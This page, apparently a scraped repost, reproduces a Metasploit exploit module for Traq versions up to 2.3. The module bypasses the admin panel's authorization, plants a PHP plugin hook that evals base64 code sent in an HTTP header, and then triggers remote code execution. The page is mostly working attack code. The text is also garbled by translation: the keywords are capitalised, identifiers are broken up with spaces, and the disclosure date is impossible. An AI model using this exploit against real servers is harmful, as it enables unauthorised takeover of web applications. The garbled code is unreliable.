Traq & lt; = 2.3 authentication bypass/Remote Code Execution defects and repair

Source: Internet
Author: User

 

##

# This file is part of the Metasploit Framework and may be subject

# Redistribution and specified cial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# Http://metasploit.com/framework/

##

 

Require 'msf/core'

 

Class Metasploit3 <Msf: Exploit: Remote

Rank = ExcellentRanking

 

Include Msf: Exploit: Remote: HttpClient

 

Def initialize (info = {})

Super (update_info (info,

'Name' => 'traq <= 2.3 Authentication Bypass/Remote Code Execution Exploit ',

'Description' => % q {

This module exploits an arbitrary command execution vulnerability in

Traq 2.0 to 2.3. It's in the admincp/common. php script.

 

This function is called in each script located into/admicp/directory

Make sure the user has admin rights, but this is a broken authorization

Schema due to the header () function doesn't stop the execution flow. This

Can be exploited by malicious users to execute admin functionality resulting

For e.g. in execution of arbitrary PHP code leveraging of plugins. php

Functionality.

},

'License '=> MSF_LICENSE,

'Author' =>

[

'Egix ', # Vulnerability discovery and exploit

'Tecr0c' # Metasploit Module

],

'References '=>

[

['Url', 'HTTP: // www.bkjia.com/'],

['Url', 'HTTP: // traqproject.org/'],

],

'Privileged' => false,

'Payload' =>

{

'Keys' => ['php'],

'Space' => 4000,

'Disablenops' => true,

},

'Platform' => ['php'],

'Arch '=> ARCH_PHP,

'Targets' => [['automatically ', {}],

'Disclosuredate' => 'dec 12 123456 ',

'Defaulttarget' => 0 ))

 

Register_options (

[

OptString. new ('uri ', [true, "The path to the Traq installation", "/"]),

], Self. class)

End

 

Def check

Uri = datastore ['uri ']

Uri + = (datastore ['uris '] [-1, 1] = "/")? "Admincp/login. php": "/admincp/login. php"

 

Res = send_request_raw (

{

'Url' => uri

}, 25)

 

If (res and res. body = ~ /Powered by Traq 2. [0-3]/)

Return Exploit: CheckCode: Vulnerable

End

Return Exploit: CheckCode: Safe

End

 

Def exploit

P = Rex: Text. encode_base64 (payload. encoded)

 

Uri = datastore ['uri ']

Uri + = (datastore ['uris '] [-1, 1] = "/")? "Admincp/plugins. php? Newhook ":"/admincp/plugins. php? Newhook"

 

Res = send_request_cgi (

{

'Method' => 'post ',

'Url' => uri,

'Vars _ Post' =>

{

'Plugin _ id' => '1 ',

'Title' => '1 ',

'Exporder' => '0 ',

'Hook' => 'template _ footer ',

'Code' => 'error _ reporting (0); eval (base64_decode ($ _ SERVER [HTTP_CMD]); die ;'

}

}, 25)

 

Uri = datastore ['uri ']

Uri + = (datastore ['uris '] [-1, 1] = "/")? "Index. php": "/index. php"

 

Res = send_request_cgi (

{

'Method' => 'get ',

'Url' => uri,

'Headers' =>

{

'Cmd' => p,

'Connection' => 'close ',

},

}, 25)

End

End

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.